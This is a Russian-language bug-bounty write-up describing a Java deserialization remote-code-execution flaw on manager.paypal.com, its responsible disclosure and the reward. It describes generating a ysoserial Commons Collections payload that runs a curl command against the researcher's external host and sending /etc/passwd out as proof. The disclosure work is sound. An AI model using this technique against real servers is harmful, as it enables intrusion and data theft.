В декабре 2015 года я обнаружил критически опасную уязвимость в одном из сайтов PayPal для бизнеса, которая позволяла мне выполнять произвольные команды на веб-серверах внутри корпоративной сети. При отправке веб-формы на сайте manager.paypal.com в одном из скрытых параметров передавались закодированные данные в виде сериализованного объекта Java. Данный параметр можно было подделать, изменив название класса и значения его свойств, что и привело к выполнению произвольного кода на серверах. Я немедленно сообщил об этой проблеме в PayPal, и она была быстро исправлена.
Детали уязвимости
При тестировании безопасности сайта manager.paypal.com в burp suite мое внимание привлек необычный параметр “oldFormData”, который выглядел как сложный Java-объект, закодированный в base64:
В шестнадцатеричном виде он начинался с сигнатуры «aced 0005», по которая я понял, что это сериализованный Java-объект класса “java.util.HashMap” без какой-либо цифровой подписи. Это означало, что при отправке формы мы могли подменить его на объект совершенно другого класса — и на сервере будет вызван метод “readObject” (или “readResolve”) нового класса.
Для эксплуатации мне необходимо было найти в исходниках приложения (или в библиотеках, которые оно использует) класс, который имеет что-то интересное в методе readObject или readResolve, например создание файла или исполнения системной команды с параметрами, на которые мы можем влиять.
К счастью, Chris Frohoff (@frohoff) и Gabriel Lawrence (@gebl) в начале 2015 года проделали отличную работу и нашли цепочку подходящих классов в библиотеке Commons Collections. Они также выпустили утилиту ysoserial для генерации подходящих сериализованных объектов, которые в результате приводят к выполнению произвольного кода в методе readObject.
Эксплойт
Я немедленно скачал эту утилиту с их проекта на github и сгенерировал объект класса «sun.reflect.annotation.AnnotationInvocationHandler», десериализация которого приводит к выполнению команды «curl x.s.artsploit.com/paypal», если на сервере доступна библиотека Commons Collections.
Выполнение команды curl отсылает на мой собственный внешний сервер запросы по протоколам DNS и HTTP, что хорошо для выявления так называемых слепых уязвимостей, при которых результат выполнения команды не выводится в ответе сервера.
После этого я отправил полученный закодированный объект на сервер в параметре “oldFormData” и буквально не поверил своим глазам, когда в логе доступа на моем Nginx высветилась строчка:
Адрес 173.0.81.65 принадлежал компании PayPal и в этот момент я понял, что могу выполнять произвольные команды на серверах сайта manager.paypal.com.
Я мог бы загрузить бекдор, получить доступ к базам данных, которые использует приложение, или побродить по внутренней сети. Вместо этого я лишь прочитал файл “/etc/passwd” отослав его на свой сервер как подтверждение уязвимости:
Я также записал видео, как воспроизвести эту уязвимость, и отправил всю информацию в PayPal.
Ответ от PayPal
После получения отчета в PayPal быстро пофиксили уязвимость и запросили у меня мой внешний IP-адрес, с которого я проводил тестирование, для проведения внутреннего расследования. Примерно через месяц PayPal назначили мне награду за найденную уязвимость, хотя баг в их системе числился как дубликат. Насколько я понял, другой исследователь, Mark Litchfield, также отправил им информацию о похожей уязвимости 11 декабря 2015 года, за два дня до моего отчета.
В любом случае PayPal выплатили мне хорошее денежное вознаграждение, за что им большое спасибо.
Видео:
Автор: Positive Technologies